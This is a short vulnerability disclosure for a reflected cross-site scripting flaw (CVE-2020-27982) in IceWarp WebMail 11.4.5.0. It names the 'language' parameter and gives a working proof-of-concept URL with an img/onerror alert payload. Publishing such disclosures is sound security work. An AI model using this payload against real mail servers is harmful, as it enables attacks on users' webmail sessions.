Icewarp WebMail 11.4.5.0 Cross Site Scripting

`[+] Title: IceWarp WebMail Cross-Site Scripting Vulnerability  
[+] Date: 2020/10/25  
[+] Author: Harun Karakış  
[+] Vendor Homepage: www.icewarp.com  
[+] Tested on: Windows 10  
[+] Versions: 11.4.5.0  
[+] Vulnerable Parameter: "language" (Get Method)  
[+] Vulnerable File: /webmail/  
[+] Cve:CVE-2020-27982  
  
# PoC:  
  
[+] Go to : http://localhost/webmail/  
or  
  
[+] Add the "language" parameter to the URL and write malicious code, Example: http://localhost/webmail/?language="><img src=x onerror=alert(1)>  
  
[+] When the user goes to the URL, the malicious code is executed  
  
Example Vulnerable URL: http://localhost/webmail/?language="><img src=x onerror=alert(1)> (Payload: "><img src=x onerror=alert(1)>)  
  
example picture  
https://i.hizliresim.com/FBcSbW.png  
`